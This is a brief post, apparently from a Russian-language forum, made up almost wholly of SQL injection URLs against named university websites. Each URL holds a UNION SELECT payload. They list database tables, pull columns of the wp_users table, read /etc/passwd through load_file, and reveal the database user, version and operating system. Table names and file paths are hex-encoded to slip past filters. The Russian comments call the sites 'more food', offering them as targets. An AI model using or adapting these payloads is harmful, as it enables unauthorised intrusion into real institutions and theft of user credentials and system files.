http://www.elps.hs.iastate.edu/news.php?id=-12+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9+from+information_schema.tables--
смотрим колонки в таблице wp_users
http://www.elps.hs.iastate.edu/news.php?id=-12+union+select+1,group_concat(column_name),3,4,5, 6,7,8,9+from +information_schema.columns+where+table_name=0x777 05F7573657273--

ещё еда:

http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2F6574632F7061737377 64),3,4,5--

http://mtucrt.students.mtu.edu/index.php?id=-12+union+select+1,concat_ws(user(),database()%20,v ersion(),@@version_compile_os),3,4,5,6,7--